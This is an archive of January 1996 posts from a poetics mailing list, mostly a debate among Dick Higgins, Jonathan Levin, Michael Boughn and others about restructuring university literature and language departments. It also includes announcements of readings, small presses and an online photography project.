This book sounds interesting but expensive. I shall seek but will I find. Perhaps it is discussed on the web somewhere?

In the nineteen fifties, before there was serious public funding in this country and before art gave way to grantsmanship to the extent that it has, there was a high level of connoisseurship among the general public. It was lost. What happened?

Perhaps you are right that in Art History one gets a certain practical instruction from which we could learn. I think that is what Joel Oppenheimer meant when he told me he was not allowed to teach Wordsworth. I would rather study Wordsworth with him than with someone who only knew the secondary sources, the history of the critical approaches to Wordsworth, etc. But anything like this would lie outside the college approach by period ("Wordsworth's THE EXCURSION and the English Romantics"-which avoids the tremendous debt of Wordsworth and Coleridge to the Jena group of German Romantics which is thus left to the Comp Lit people who have their own problems), and it lies outside the thematic ones ("The Gallows and Capital Punishment in Engtish Poetry," from the Elizabethans through Wordsworth's THE EXCURSION to the twentieth century), quite diverting but somehow incomplete. You see, my argument is that all this kind of textual analysis is valuable but it is hard to get to because of the scattered and compartmentalized approach to the consideration of language, the familiar phenomenon of our knowing "more and more about less and less," which inevitably leads to an inability to see the connection among things. One thinks of Thomas Love Peacock's satire on Coleridge with his flashes in his eyes and his speaking with such a myriad of digressions that everything loses its meaning.

Prosit!

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

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28. Dick Higgins

Re: WEB POETRY, RESTRUCTURING LANGUAGE ARTS DEPARTMENTS

Tue 2 Jan 1996

> *One reflection re: Higgins' modest proposal for literature departments. Splitting/merging current literature depts. into one History & one Skills dept. is an admirable idea in many respects, but involves one danger: that administrations will continue their current inclinations & keep the Skills component while eliminating the History, or simply letting it wither away. Currently it is the skills component in literature depts. that allows them to argue for keep ing literature in the curriculum at all; separate the skills from the lit., & the bottom-liners of universtiy administrations will scour the lit. out of there in no time. While there may be people on this list who would view the loss of literature-teaching from universities as no loss at all, I for one wd. regret it. Literature's past barely exists for our culture as it is (hell, HIS TORY period barely exists for us...); knock it completely out of the university curriculum, & before long who will even remember that there WAS a past literature?*
>
> *Brian McHale*

Indeed this is a danger; and it is happening anyway, through misprision (SHAKESPEARE WITHOUT CYMBELLINE or TIMON OF ATHENS or THE WINTER'S TALE or other difficult-to-teach items, or POETRY WITHOUT VISUAL POETRY etc.). So why pretend it isn't? My intention is not Swiftian-I am not using A MODEST PROPOSAL as my model, and I am trying to be literal, not satirical in my suggestion. I have addressed some of the questions in other replies on this network and you have surely heard quite a few of my points from others. However though your caveats are serious, I would like to see what you suggest would be better improvement of the methods of teaching LIterature and Language than what I have suggested. Could you please oblige?

Very bests

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]

Fax- [redacted]
e-mail- [redacted]

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29. **Dick Higgins**

Re: WEB POETRY, RESTRUCTURING LANGUAGE ARTS DEPARTMENTS

Tue 2 Jan 1996

Dick et al,

There is much to comment on in this proposal, but I'll focus on one thing, since it strikes me as very mistaken--the division of "literature and the history of literature" from the "meat and potatoes" language skills. There are practical and intellectual reasons for resisting this kind of division. Practically, this makes it much harder to argue for the viability of the literature department. The language skills will necessarily flourish, because a badly prepared student population will require them. Literature departments, by contrast, will have no "service" to offer the university, short of the introductory survey (unless a literature seminar is required, as is the case at many small schools). I do believe these are a genuine service, but many administrators will not. But the real issue here is the relationship between literature and rhetoric. It seems to me that these are integrally related, and that to separate them institutionally is only to perpetuate bad ideas about literature and worse ideas about rhetoric. Now I'll be the first to admit that the de facto relationship they have in the current structure--separate offices at opposite ends of the same hallway--is also absurd: English departments are more likely to staff composition courses with graduate students, assign one full-time faculty member to administer the program, and get on with the business of teaching "literature" than they are to actually contemplate the relationship between rhetorical practice--the contexts of speech and writing, the techniques and determinants of successful argument- - and literary representation and expression. This is a shame. But it's a problem that won't be served by separating them as if they were two disciplines. Rhetoric has already become a sort of neglected step-child of literary studies: this only serves rotten thinking about rhetoric and literature.

jAnd poetics? Well, that's one of the things we do too in English departments. Perhaps our thinking about figurative language will benefit from an understanding of how figurative language works in a variety of rhetrorical contexts. We all know what the naked encounter with metaphor can lead to. I don't think we'll teach poetry or poetics better if we managed to get this other business off our backs, and threw the "dead wood" into the pile we just cared less about. For me, my business is language. And I think we need to foster thinking about language that

> *breaks down the old divisions between "ordinary langauge" and "literary language." If we don't recognize that this should take place when we teach "literature" and "basic language skills" alike, then, to my mind at least, we're missing the boat.*

It sounds to me like you don't think Literature has the same value as other arts, that it must borrow its function from applied language courses, that it must somehow be snuck unto a curriculum under the noses of some scissors-carrying dean. To this I must object; in DICHTUNG UND WAHRHEIT Goethe (whom Emerson took as the archetypal writer) tells why he gave up medicine-literature, Goethe says, comprehends all the arts and experience even more than medicine comprehends the body. That is indeed my raison d'=EAtre for Literature. It is the master subject of 'em all, without which the others can barely be discussed. If your dean cannot see this, then trash him, go over his head, bypass him or whatever-we are now required to fight a cultural civil war which we as thinking people did not choose. In any war one must expect casualties. But we will win, because in the long run we, not the budget kings and queens, are the indispensible ones without which life is one long inchoate agony. Or do you disagree?

Bestsx

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

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30. Jordan Davis
in the long run we are in inchoate agony?
Tue 2 Jan 1996

Interesting to me are both this construction of "we" and the entitlement that's claimed for "us". Who says "we" have anything even remotely interesting to say to anyone not on this list (or even _on_ this list)? That goes double for me. Or rather, can it be that the appropriate responses to exaggerated claims for work/authors/times are exaggerated insults to said work/authors/times..

I also think, Jonathan, and please tell me if I'm wrong, that you were saying something closer to "the study of literature is the study of language" not for purposes of subterfuge but for statement of principle? That to dehistoricize the study of "language arts" is to abandon the dream of an educated general public,

to turn over composition wholesale to the "writing process" and other charlatan plans?

Or maybe it's a new year and we should all talk about how to run places that we detest.. or talk about subjects we've suppressed.. or eat better.. or enjoy the vibe set at the New Year's Day reading at St Marks.. anybody out there make it by? Armand Schwerner's elegy for his son was beautiful, Bruce Andrews was strangely composed, Gordon Gano (the Violent Femmes?) sang, things ran ahead of schedule, Lisa Jarnot read well, anybody seen Mitch Highfill's new book, Liquid Affairs, from United Artists? surprisingly calm intense and funny, Richard Foreman seemd to be rhyming, Lee Ann Brown did audience participation with fortune cookies, David Shapiro read and then Daniel Shapiro read, Wanda Phipps' boyfriend Joel Schlemowitz introduced a typewriter-clavier that he played Wanda's poem on as she read, who else, somebody tell me, I was setting up and selling books (two--Echolalia by George Tysh and, uh, a back issue of the World I think.). You know, the idea of a community. It was calm. The room filled up early. Jo Ann Wasserman and Brenda Coultas traded off on the mic, David Nolan was jumpy on the soundboard, was the backbone of the event, NYOne came through and filmed as Kathy Price was on, Dael Orlandersmith came on through. Even people ordinarily associated with the two rival NYearsday readings were milling around, chatting amiably. Anybody stay late? I took off before 7:30..

Jordan

PS anybody go to the marathon Stein reading at Paula Cooper? Anybody feel things when they hear about "marathon readings"?

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31. { brad brace }

intro: The 12hr-ISBN-JPEG Project

Wed 3 Jan 1996

>>>> Synopsis: The 12hr-ISBN-JPEG Project began January 1, 1995. A round-the-clock posting of sequenced hyper-modern photographs by Brad Brace.

The 12-hour-ISBN-JPEG Project

BEGAN JANUARY 1, 1995

Classic HyperModern Photos... posted/mailed every 12 hours... perfect trans-avant-garde art for the 90`s!

A continuous, apparently random sequence of original photos... authentic gritty, greyscale... corrupt and compelling experience.

An extension of the printed ISBN-Book series... critically acclaimed... imagery is gradually acquired, selected and re-sequenced over time... [see ftp.netcom.com/pub/bb/bbrace/books]

> *Promulgated, de-centered, ambiguous, homogeneous, de-composed...*
> *Multi-faceted, excentric, oblique, obsessive, obscure, opaque...*

Every 12 hours, another!... view them, re-post `em, save `em, trade `em, print `em, even sell them...

Here`s how:

~ Set www-links to -> ftp://ftp.netcom.com/pub/bb/bbrace/bbrace.html Look for the 12-hr-icon. Heavy traffic may require you to specify files more than once! Anarchie, Fetch, TurboGopher... Or -> http://www.teleport.com/~bbrace/bbrace.html

~ Download from -> ftp.netcom.com /pub/bb/bbrace
Download from -> ftp.teleport.com /users/bbrace
Remember to set tenex or binary. Get 12hr.jpeg

~ E-mail -> If you only have access to email, then you can use FTPmail to do essentially the same thing. Send a message with a body of 'help' to the server address nearest you:
*
[redacted]
*
[redacted]

-> www by email: [redacted] /body: www

~ Mirror-sites requested! Archives too!
The latest new jpeg will always be named, 12hr.jpeg
*
Perl program to mirror ftp-sites/sub-directories:
src.doc.ic.ac.uk:/packages/mirror
*

~ Postings to usenet groups:
alt.binaries.pictures.12hr

alt.binaries.pictures.misc
alt.binaries.pictures.fine-art.misc
*

~ This interminable, relentless sequence of imagery began in earnest on January 1, 1995. The basic structure of the project has been over fifteen years in the making. While the specific sequence of photographs has been presently orchestrated for more than 5 years worth of 12-hour postings, I will undoubtedly be tempted to tweak the ongoing publication with additional new interjected imagery. Each 12-hour posting is like the turning of a page; providing ample time for reflection, interruption, and assimilation.

~ The sites listed above are currently active. They also contain some information on other cultural projects.

~ A very low-volume mailing list for announcements and occasional commentary related to this project has been established. Send e-mail to:
[redacted] /subscribe 12hr-isbn-jpeg

--
This project has been largely funded in advance. Some opportunities still exist for financially assisting the publication of a CD-ROM archive of all the 12hr-ISBN-JPEG imagery.
--
Jpeg and gif are types of image files. Get the text-file, _pictures-faq_ to learn how to view or translate these images.
[ftp ftp.netcom.com/pub/bb/bbrace]
--
(c) No copyright 1995
Any use acceptable

<[redacted]>

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32. Chris Stroffolino

Re: vitalism?

Wed 3 Jan 1996

I saw a new born babe with wild wolves all around it. I saw vitalism and judges. Judges that couldn't help but be against vitalism. And it starts seeming like individualism And all kinds of taboos langourously jump on that, nip that in the bud as if it's january and the hope of spring is but an extreme hyberbolic artificial good-guy bad-guy story that we should never let sing us to bed at night, much less cradle us in its arms without unless we dress it up in judge's robes. And if the voice in the wilderness claims to have found a

beauty that can not be expressed in words and seems like an absence or a terror that could delay one's arrival at a "matter-of-fact" attitude that, for awhile at least, redramatizes the argument against argument that is vague enough on one level to crave yet hardcore enough to fly under its banner as if monogamously committed to a muse that lets you run away from it and play the prodigal cultural commentator at the other end of the continuum as if we don't need winter to get us through the winter because we have spring--- and only the oversuspicious would accuse you of not being able to enjoy spring in spring for the simple reason you can't enjoy winter in winter. And if you enjoy not enjoying, well then VITALISM is better in winter. And if you enjoy not enjoying, ... er--I lost my harmonica....c

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33. Kevin Killian
Small Press Traffic readings
Wed 3 Jan 1996

This is Dodie Bellamy speaking. As part of our Small Press Partners series, Small Press Traffic will be sponoring two upcoming readings in San Francisco.

JANUARY READING

Small Press Traffic and Intersection
present a benefit reading for
the new Talisman House anthology
Primary Trouble: An Anthology of Contemporary American Poetry
edited by Leonard Schwartz, Joseph Donahue, and Edward Foster
with the editors and
Will Alexander * Ivan Arguelles * Dodie Bellamy * Norma Cole * Kathleen Fraser * Drew Gardner * John High * Andrew Joron * Kevin Magee * Laura Moriarty * Michael Palmer * Stephen Ratcliffe * Elizabeth Robinson * Leslie Scalapino * Spencer Selby * Aaron Shurin * Mary Margaret Sloan

Tuesday, January 16, 1996 at 8:00 p.m.
Intersection for the Arts, 446 Valencia Street, San Francisco
$5.00 donation

Talisman House
P.O. Box 3157
Jersey City, NJ 07303-3157

FEBRUARY READING

Small Press Traffic and the Poetics Department of New College
present
CHAX PRESS authors

Myung Mi Kim
and Mary Margaret Sloan

Friday, February 2 at 7:30 p.m.
777 Valencia Street
San Francisco
$5.00

Michael Palmer on Myung Mi Kim's _The Bounty_: The fragment becomes entire as it re-searches memory, recovers texts, episodes, sounds and landscapes. The Bounty interrogates the radical and violent instability of our moment, asking where is the location of culture, where the site of self, selves, among others. Its gaps or silences speak as determinedly, and urgently, as its singular music.

Kathleen Fraser on Mary Margaret Sloan's _The Said Lands, Islands, and Premises_: Sloan's passion for words - their lipstick traces and lingering inflections (as grammar would have it) - makes for a poetry of extraordinary pleasure and difficulty. The mind and ear are redirected from inherited sequence to intentional mutation.

Established in 1984 in Tucson, Chax Press is one of the nation's premier independent small presses. Chax Press, a non-profit organization, has published more than 25 books of innovative poetry in both trade and hand-printed, hand-bound fine art book editions-excursions into the relationship among visual, verbal, and structural elements. In 1993 Chax moved to Minneapolis, where its most recent books have been by Norman Fischer, Kathleen Fraser, Mary Margaret Sloan, and Myung Mi Kim. In 1996 a return to Tucson is anticipated. Chax Press founder and director Charles Alexander writes, "We believe that our editorial and design sensibilities help us to stand out as one of a handful of publishers with which the present and future of an imaginative literature not constrained by the market forces of a capitalist economy is linked. Audiences are small but crucial. The work is among the most important tasks I can imagine."

Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

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34. Mark Roberts
SYDNEY FRINGE WRITERS FESTIVAL
Wed 3 Jan 1996

AWOL has been approached by the organisers of the Sydney Fringe Writers Festival to help them stock a small press bookstall at the festival (which takes place in less than two weeks Jan 14). They are also interested in stocking small presses from overseas - particularly those with some 'connection' to the Pacific (live near it, have swam in it??). If you are interested please back channel me ASAP and I'll give you some more details - I am hoping that the bookshop which is backing the festival might be encouraged to take some of the titles after the festival.

Mark Roberts
AWOL
[redacted]
PO Box 333
Concord NSW 2137 Australia
ph 61 2 7475667
fax 61 2 7472802

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35. Michael Boughn
The English Dept. of the Soul and the New World Order
Wed 3 Jan 1996

Does anyone else find it amusing that Dick Higgins is now embroiled in a discussion on how to save the English Department? Is that our job, Dick? And on the Poetics List, at that.

In the last exchange on this question, someone suggested that budget cuts limited our response. This is a pernicious misrepresentation of the situation, and it demonstrates how thoroughly right wing ideology has shaped the entire discussion of these issues. The dismantling of the university as we have known it (which may or may not be a bad thing) is part of a right wing political program masked behind the rhetoric of economics. Accepting it as a budegetary problem is to capitulate to the political agenda of those who are re-engineering the institution to play a new role in the new, international economy.

It's probably not salvagable. The private institutions will go on serving big money, and the public institutions, drastically reduced in scope and size, will increasingly fullfill a job training role.

It may or may not be a bad thing because the University (including the English Department of the Soul) has always served a disciplinary function that the knee-

jerk-neo-cons underestimate, and by dismantling it, they are unleashing forces of resistance that otherwise were harnassed to yet another Foucaultian reading of race-gender-cold-war -ideology-blah-blah-blah in Betty Crocker cookbooks. Who knows how that will fall out? But the last thing on my mind is worrying about how to reorganize the English Dept.

Hey, onward, as Creeley says.

Mike

[redacted]

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36. Jonathan A Levin

Re: WEB POETRY, RESTRUCTURING LANGUAGE ARTS DEPARTMENTS

Wed 3 Jan 1996

Jordan, of course I like to have principle invoked in my name, though I don't even know what you mean by subterfuge! Can I have 'em both at once? Yes, I do think a principle is at stake, but that principle is indistinguishable, for me, from what I think will work best in educating students into the mysteries and pleasures and blind curves of language. I think English and Comp Lit departments could be more effective in teaching literature and basic skills if we recognized and nurtured their affinities. When our graduate student-TAs have a grip on Ted Taylor's logic and rhetoric model at Columbia, they do extraordinary things with it--but most students are not trained to see the relationship between logic and rhetoric and the kind of literary studies we practice on the other end of the hall. Perhaps Marisa Januzzi, whom I once observed teaching L & R, will chime in...?

I agree, Dick, about "connections," though I suspect everyone teaching, including everyone teaching courses like Wordsworth and the British Romantics or Coleridge and the Penal Colony (I can't remember the 2nd example you gave) would also agree: they'd just claim that their connections were the more "vital" or "deeper" ones. Or perhaps, like myself, they'd only say they were different connections, differently meaningful. It's of course telling that you turn to Goethe (and I appreciate the Emerson link, since Emerson is at the center of my current book project, and I adore him, porcupine impossibility and all). On a certain level, and especially for someone like Goethe, connection at some point always implies a connection with Everything. Why should literature departments reproduce the dream of an infinite grasp? Many people have written and are writing on the historical horizon of the concept of Literature, but, as my phrasing suggests, I find myself thinking most here of Gadamer, in Truth and Method. The conception of literature, especially as it is juxtaposed

with the narrow science of medicine, doesn't satisfy me: it reproduces divisions between art and science that, as I said about literature and rhetoric in my previous post, make for bad thinking about art (and, I'm convinced, though as a non-sceintist, about science). I don't, I hasten to add, think that literature is a secondary activity at the service of technology, science, busniness skills, etc. But the way to critique the blind adherence to the cult of skills is not to place Literature across its path and seek converts. We need, instead, to read literature with a sharpened understanding of how language works, how it is always already (oh, how I hate that phrase--but it didn't catch on for nothing) at work in us, and how our best writers reawaken the language for us (and that "us," Jordan, is distinctly up for grabs, since it remains to awaken).

Jonathan Levin

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37. Dick Higgins

Re: in the long run we are in inchoate agony?

Wed 3 Jan 1996

> *Interesting to me are both this construction of "we" and the entitlement that's claimed for "us". Who says "we" have anything even remotely interesting to say to anyone not on this list (or even _on_ this list)? That goes double for me. Or rather, can it be that the appropriate responses to exaggerated claims for work/authors/times are exaggerated insults to said work/authors/times..*
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>
> *Jordan*
>
> *PS anybody go to the marathon Stein reading at Paula Cooper? Anybody feel things when they hear about "marathon readings"?*

Dear JOrdan-

I think you miss my point. What are you going to do when unemployment hits 40%?

Sincerely

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

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38. Dick Higgins
Re: The English Dept. of the Soul and the New World Order
Wed 3 Jan 1996

> *Does anyone else find it amusing that Dick Higgins is now embroiled in a discussion on how to save the English Department? Is that our job, Dick? And on the Poetics List, at that.*
>
> *In the last exchange on this question, someone suggested that budget cuts limited our response. This is a pernicious misrepresentation of the situation, and it demonstrates how thoroughly right wing ideology has shaped the entire discussion of these issues. The dismantling of the university as we have known it (which may or may not be a bad thing) is part of a right wing political program masked behind the rhetoric of economics. Accepting it as a budegetary problem is to capitulate to the political agenda of those who are re-engineering the institution to play a new role in the new, international economy.*
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>
> *Hey, onward, as Creeley says.*
>
> *Mike*
> [redacted]

Cher M. Boughn-

Where did I say that I wanted to save English Departments as such. But I am interested in the language arts (among others) and this necessarily includes teaching them and scholarship in them. I want to think about what we will do when unemployment reaches 40% and not simply wait until it does.

However I must say that most English profs are a lost cause, don't you agree? They can barely read for content and cannot think as clearly as their colleagues in other departments. It would be no great loss if most of them became plumbers, though, perhaps with the right training, some could be reeducated appropriately. It isn't their fault usually, as they often start out well enough, but between required courses, excessive paperwork and meetings (often in the name of democracy) and committees and understandably indifferentr students, they are usually ground down to mediocracy by the time they get their tenured status. I certainly don't trust them to notice the best writing around them, do you?

Sincerely

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

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39. Daniel Bouchard/College/hmco
Help: Will Read Faerie Queen for Food
Wed 3 Jan 1996

Dick Higgins:

Why 40% unemployment? Where does this number come from? At your first mention of it, I figured you were employing hyperbole or sarcasm. Responding to M. Boughn's post, however, 40% crops up again, and in a disturbing context, i.e., you say it as if you believe it. Silly as the figure itself is, there's a kind of logic inferred that "when it happens" the unemployed masses will register at universities on an unimaginable scale to become (what else?) "english majors," and thus learn from professors the skills that may saved them in the first place, but will certainly rescue them now.

40% !!!!!!!

On a somewhat related topic, has anyone heard from the Wobblies (I.W.W.) in their area? They have a Web page which posts a new Preamble and Constitution dated 1/95.

[redacted]

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40. Bill Luoma
Let's Keep it to Business
Wed 3 Jan 1996

Category:

The water cooler is a great virtual space where you can ask questions, share information, share opinions, etc., with other employees. Corporate managers like myself use it as a temperature guage on issues that are important to the field. As we go more and more virtual, it provides tremendous value to all of us.

But this is a PUBLIC place, not a private one, and as such some things are inappropriate to be said here. If something you are thinking about writing would offend someone (anyone) then it does not belong in this space. Likewise for personal agenda's or political commentaries. Let's reserve this space for appropriate business topics that may be of interest to everyone.

Bill Luoma

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41. **Bill Luoma**
Re: vitalism?
Wed 3 Jan 1996

..PS reading at Ichor gallery Friday at 8:30 on the dot
..me Matthew Morse and Lee Ann Brown..

Jordan,

where's the Ichor? You mean lately poetry has listened to the dr and had its blood let re: vitalism?

Bill

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42. **Michael Boughn**
Re: Let's Keep it to Business
Wed 3 Jan 1996

> *But this is a PUBLIC place, not a private one, and as such some things are inappropriate to be said here. If something you are thinking about writing would offend someone (anyone) then it does not belong in this space. Likewise for personal agenda's or political commentaries. Let's reserve this space for appropriate business topics that may be of interest to everyone.*

What?

Mike
[redacted]

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43. **Dick Higgins**
Re: WEB POETRY, RESTRUCTURING LANGUAGE ARTS DEPARTMENTS
Wed 3 Jan 1996

> *Jordan, of course I like to have principle invoked in my name, though I don't even know what you mean by subterfuge! Can I have 'em both at once? Yes, I do think a principle is at stake, but that principle is indistinguishable, for me, from what I think will work best in educating students into the mysteries and pleasures and blind curves of language. I think English and Comp Lit departments could be more effective in teaching literature and basic skills if we recognized and nurtured their affinities. When our graduate student-TAs have a grip on Ted Taylor's logic and rhetoric model at Columbia, they do extraordinary things with it--but most students are not trained to see the relationship between logic and rhetoric and the kind of literary studies we practice on the*

> *other end of the hall. Perhaps Marisa Januzzi, whom I once observed teaching L & R, will chime in...?*
>
> *I agree, Dick, about "connections," though I suspect everyone teaching, including everyone teaching courses like Wordsworth and the British Romantics or Coleridge and the Penal Colony (I can't remember the 2nd example you gave) would also agree: they'd just claim that their connections were the more "vital" or "deeper" ones. Or perhaps, like myself, they'd only say they were different connections, differently meaningful. It's of course telling that you turn to Goethe (and I appreciate the Emerson link, since Emerson is at the center of my current book project, and I adore him, porcupine impossibility and all). On a certain level, and especially for someone like Goethe, connection at some point always implies a connection with Everything. Why should literature departments reproduce the dream of an infinite grasp? Many people have written and are writing on the historical horizon of the concept of Literature, but, as my phrasing suggests, I find myself thinking most here of Gadamer, in Truth and Method. The conception of literature, especially as it is juxtaposed with the narrow science of medicine, doesn't satisfy me: it reproduces divisions between art and science that, as I said about literature and rhetoric in my previous post, make for bad thinking about art (and, I'm convinced, though as a non-sceintist, about science). I don't, I hasten to add, think that literature is a secondary activity at the service of technology, science, busniness skills, etc. But the way to critique the blind adherence to the cult of skills is not to place Literature across its path and seek converts. We need, instead, to read literature with a sharpened understanding of how language works, how it is always already (oh, how I hate that phrase--but it didn't catch on for nothing) at work in us, and how our best writers reawaken the language for us (and that "us," Jordan, is distinctly up for grabs, since it remains to awaken).*
>
> *Jonathan Levin*

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

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44. Dick Higgins

Re: WEB POETRY, RESTRUCTURING LANGUAGE ARTS DEPARTMENTS

Wed 3 Jan 1996

> *Jordan, of course I like to have principle invoked in my name, though I don't even know what you mean by subterfuge! Can I have 'em both at once? Yes, I do think a principle is at stake, but that principle is indistinguishable, for me, from what I think will work best in educating students into the mysteries and pleasures and blind curves of language. I think English and Comp Lit departments could be more effective in teaching literature and basic skills if we recognized and nurtured their affinities. When our graduate student-TAs have a grip on Ted Taylor's logic and rhetoric model at Columbia, they do extraordinary things with it--but most students are not trained to see the relationship between logic and rhetoric and the kind of literary studies we practice on the other end of the hall. Perhaps Marisa Januzzi, whom I once observed teaching L & R, will chime in...?*
>
> *I agree, Dick, about "connections," though I suspect everyone teaching, including everyone teaching courses like Wordsworth and the British Romantics or Coleridge and the Penal Colony (I can't remember the 2nd example you gave) would also agree: they'd just claim that their connections were the more "vital" or "deeper" ones. Or perhaps, like myself, they'd only say they were different connections, differently meaningful. It's of course telling that you turn to Goethe (and I appreciate the Emerson link, since Emerson is at the center of my current book project, and I adore him, porcupine impossibility and all). On a certain level, and especially for someone like Goethe, connection at some point always implies a connection with Everything. Why should literature departments reproduce the dream of an infinite grasp? Many people have written and are writing on the historical horizon of the concept of Literature, but, as my phrasing suggests, I find myself thinking most here of Gadamer, in Truth and Method. The conception of literature, especially as it is juxtaposed with the narrow science of medicine, doesn't satisfy me: it reproduces divisions between art and science that, as I said about literature and rhetoric in my previous post, make for bad thinking about art (and, I'm convinced, though as a non-sceintist, about science). I don't, I hasten to add, think that literature is a secondary activity at the service of technology, science, busniness skills, etc. But the way to critique the blind adherence to the cult of skills is not to place Literature across its path and seek converts. We need, instead, to read literature with a sharpened understanding of how language works, how it is always already (oh, how I hate that phrase--but it didn't catch on for nothing) at work in us, and how our best writers reawaken the language for us (and that "us," Jordan, is distinctly up for grabs, since it remains to awaken).*

> *Jonathan Levin*

Dear Jonathan Levin:

Please send me your e-mail address-iot seems I do not have it and I would like to remain in contact with you after I leave the POETICS BB, probably temporarily (I am going to a conference on visual poetry in Mexico and after that will have to do dumb stuff to survive for a bit. It will be close to Valentine's before I can log onto this one again.

By the way, my grandfather (who was born in 1874) heard Emerson speak on his last tour of New England, circa 1885(?) and remembered surprisingly much of the experience. Maybe it isn't so surprising, since Emerson was a family model. In fact my grandmother, who came from Missouri, when she first visited the family before marrying my grandad, cazme down to her first breakfast and found the family sitting around a big table, eating fish chowder and arguing passionately about RWE. She burst into tears, feeling she had wandered into a madhouse, and ran back upstairs. It took her some time to get used to our now-vanished Yankee ways. Anyway, it makes RWE seem not so very long ago (and in another sense he really isn't, is he).

Fluxily yours-

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

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45. Aldon L. Nielsen
Re: Pterodactyls
Wed 3 Jan 1996

When it will be the fashion again we'll have trochees
galore. Even the bellicose double-dactyl
will flourish for a time, in Okefenokees

of subjectivity.

--John Ashbery
Can You Hear, Bird

Trust Ashbery to remember to watch his feet in a swamp!

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46. Dick Higgins

Re: Help: Will Read Faerie Queen for Food

Wed 3 Jan 1996

> *Dick Higgins:*
>
> *Why 40% unemployment? Where does this number come from? At your first mention*
> *of it, I figured you were employing hyperbole or sarcasm. Responding to M. Boughn's post, however, 40% crops up again, and in a disturbing context, i.e., you say it as if you believe it. Silly as the figure itself is, there's a kind*
> *of logic inferred that "when it happens" the unemployed masses will register at universities on an unimaginable scale to become (what else?) "english majors," and thus learn from professors the skills that may saved them in the first*
> *place, but will certainly rescue them now.*
>
> *40% !!!!!!!*
>
> *On a somewhat related topic, has anyone heard from the Wobblies (I.W.W.) in their area? They have a Web page which posts a new Preamble and Constitution dated 1/95.*
>
> [redacted]

Dear Daniel Bouchard:

The 40% figure is one I have heard several times as a projection. Maybe the editors of CHALLENGE, the Economics magazine from Rutgers (which is pretty much cutting edge). It is usually cited as a result of the anti-liberal (I shudder to call them conservative) dismissal of Lord Keynes's insights as "liberal theory." They are theory in the sense of being underlying principles, like the theory of gravity, not in the colloquial sense of "I have a theory about sao-and-so." And they are not particularly liberal either. THe main one which is scary here is the notion underlying "trickle-down" wealth politics that if the rich prosper, they will pull along the rest of us, so their taxes can and should be lowered. The problem is, in microcosm, that while the rich can indeed buy food and necessities and can also buy luxuries the making of which create jobs, when they prosper they do not eat more food and consume more basics while at the same time there is a ceiling on the number of yachts which they can buy. The result is that ordinary people, who proportionately must pay more of the tax load, certainly are not about to buy yachts and must eventually be left without food and necessities, which creates a terrible downward spiral in the economy as a whole, a "crisis of production," as they say, in other words a depression. Our problem is that our social net is being removed and there is insufficient support for stiffening Clinton's wobbly resistance to removing it. Further, the

Republicans steamroller tactics and vast wealth and their focus on ballancing the budget, as if we were talking about a home economics situation. Daddies and mommies or other forms of family don't usually think of their children or partners as their market, and so the oft-cited parallel between a home budget and a national one simply does not apply., because of these things and the Republicans believing their own propoganda, we are not likely to be able to install a new set of safety nets as rapidly as we did in 1932, so our unemployment will probably approach 40%, as it did in the 1870's, rather than only 27% as it did in our so-called "Great Depression."

Well, when that happens people will learn what art is for (I believe though I cannot prove that). But that will be small consolation. Besides I will probably be among the next to be homeless, being 58 and perenially "overqualified" for every job I apply for.

Sincerely

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

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47. Michael Boughn
Hey, Al Cook
Wed 3 Jan 1996

Hey Al Cook, I think yer on this thing and I need yer address. Would you email it to me?

Thanks,
Mike
[redacted]

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48. Landers
Re: WEB POETRY
Wed 3 Jan 1996

Ken Edwards <[redacted]> wrote:
>Using the net to communicate has advantages; but currently it is also
>expensive,
>difficult and inconvenient.

I know it is a kind of prejudice, but I don't think anyone who uses CompuServe with a slow modem can be considered an authority on the cost of using the internet. Please do not misread this as a flame. I feel an intense concern about the scams that are going down around the internet.

Ken, you are being robbed!

Pete Landers
[redacted]

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49. Steve Carll
Re: vitalism?
Wed 3 Jan 1996

At 12:36 AM 1/3/96 -0500, you wrote:
> er--I lost my harmonica....c

It's all right, Chris, it's just somethin' you learnt over in England.

Steve

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50. David Kellogg
Re: MLA Doings?
Wed 3 Jan 1996

Hello all,

Good times at MLA: it was nice to meet Charles, and Marjorie, and Aldon, and Doug Messerli, and Albert Mobilio, and others there. (Sorry I missed you maria d.).

I was sick part of the time, and unable to see many good-sounding talks. I was also interviewing and particularly lousy times. Anyway. . . .

Several good papers/panels: one of the best was not "read" but rather talked in the manner of a scientific paper, summarized due to a lack of time, making a virtue of necessity, by Ming-Quin Ma at Stanford. Is he on this list? If not, why not? The paper in question was "'Not quite that': Smithson, Scalapino, and the Poetics of Aeolotropy." I would love a copy.

Another good panel: the Rothenberg/Joris discussion almost at the end of the conference, with good comments also by Jed Rasula, on POEMS FOR THE MILLENIUM. Very informative.

Outside the conference there was a wonderful reading by Douglas Messerli and Charles Bernstein at the City Gallery of Contemporary Art.

I can't rightly evaluate my own panel, but I remain inordinately fond of my talk (on Bourdieu and poetic value). It was disheveled but fun to give, shocking certain folks in the audience. The other paper (on Paul Monette) was so different it was almost comic, yet it actually made for good discussion.

I will send a disk version to the EPC if an archive is really being prepared. Anybody who wants a hard copy can email me with snail-mail address -- I've copies aplenty. (Those who have already asked for it will receive soon).

Cheers,
David
~~~
~~~

the singular motive for one's contributions should be making things better... it's just one motive, one that operates once in a while...

that sd, i may as well say right upfront that i'm interested to a point in marxist style-class-based-market-economy institutional analysis--TO A POINT... past a certain, usually vulgar point i prefer to eat a peach, and wear my trousers unrolled... to be explicit just for a sec: i don't like it when folks tell me they aspire to NO class consciousness... i feel like simultaneously laughing and throwing up... and me, i like my bananas nice and yellow... it's the same with dis/agreement---seems to me there's a binary here worth getting through...

yeah, sure, there are more important things than changing the anguish profession... but changing the anguish profession, or making more room for art (yknow---art? that pain in the ass), or cleaning the fridge may be damned important things... depends on where one is...

